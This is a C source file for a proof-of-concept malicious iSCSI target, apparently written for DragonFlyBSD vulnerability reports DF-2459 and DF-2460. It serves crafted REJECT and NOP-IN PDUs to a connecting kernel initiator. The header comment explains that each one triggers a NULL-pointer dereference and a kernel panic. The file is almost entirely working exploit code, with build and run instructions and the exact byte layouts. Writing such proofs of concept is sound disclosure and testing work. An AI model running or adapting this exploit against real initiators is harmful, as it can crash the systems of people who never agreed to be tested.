DF-2459 / mtarget.c
/* * mtarget.c - Minimal malicious iSCSI target for DragonFlyBSD initiator PoCs. * * Accepts one TCP connection on 127.0.0.1:3260 and, depending on <mode>, * immediately injects a crafted PDU that drives the kernel receiver * (which is started by ISCSISETSOC, BEFORE login) into a vulnerable path. * * reject -> 48-byte REJECT BHS, AHSLength=0, DSLength=0 * (_reject dereferences pq->mp == NULL -> panic) [DF-2460] * nopin -> NOP-IN itt=0xffffffff ttt=1 AHSLength=1 + 4 bytes AHS * (_nop_in re-queues as NOP_OUT, isc_sendPDU bcopy(pp->ahs=NULL)) * [DF-2459] * * Build: cc -o mtarget mtarget.c * Run: ./mtarget reject (blocks until one connection is served) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static void hex(const char *p, int n) { for (int i = 0; i < n; i++) { printf("%02x ", (unsigned char)p[i]); if ((i&15)==15) printf("\n"); } printf("\n"); fflush(stdout); } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "reject"; int port = argc > 2 ? atoi(argv[2]) : 3260; int s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); return 1; } int one = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(port); if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (listen(s, 1) < 0) { perror("listen"); return 1; } printf("mtarget[%s]: listening on 127.0.0.1:%d\n", mode, port); fflush(stdout); struct sockaddr_in ca; socklen_t cl = sizeof(ca); int c = accept(s, (struct sockaddr*)&ca, &cl); if (c < 0) { perror("accept"); return 1; } printf("mtarget[%s]: accepted connection\n", mode); fflush(stdout); unsigned char buf[256]; memset(buf, 0, sizeof(buf)); if (strcmp(mode, "reject") == 0) { /* BHS: opcode=0x3f (REJECT), F=1, AHSLength=0, DSLength=0. rest zeroed (reject reason/fields irrelevant: _reject crashes at mtod(pq->mp==NULL,...) before reading any field). */ buf[0] = 0x3f; /* opcode=0x3f, I=0, _=0 */ buf[1] = 0x80; /* F=1 */ /* bytes 2..7 zero -> AHSLength=0, DSLength=0 */ printf("mtarget[%s]: sending 48-byte REJECT (mp stays NULL)\n", mode); write(c, buf, 48); } else if (strcmp(mode, "nopin") == 0) { /* NOP-IN: opcode=0x20, F=1, AHSLength=1 (4 bytes), DSLength=0, itt=0xffffffff (offset 16), ttt=0x00000001 (offset 20, !=0xffffffff). Then 4 bytes of AHS so so_recv sets pp->ahs_len=4 while pp->ahs=NULL. */ buf[0] = 0x20; /* opcode=0x20 NOP-IN */ buf[1] = 0x80; /* F=1 */ buf[4] = 0x01; /* AHSLength = 1 (=> 4 bytes) */ /* itt at offset 16 = 0xffffffff */ buf[16]=buf[17]=buf[18]=buf[19]=0xff; /* ttt at offset 20 = 0x00000001 (network order) */ buf[23]=0x01; /* dataSN etc zero */ printf("mtarget[%s]: sending 52-byte NOP-IN (itt=ffffffff ttt=1 AHS=4)\n", mode); write(c, buf, 48); write(c, buf, 4); /* 4 bytes AHS */ } else { fprintf(stderr, "unknown mode %s\n", mode); return 1; } hex((char*)buf, 32); /* keep connection open briefly so the kernel has time to process */ sleep(3); close(c); close(s); return 0; } |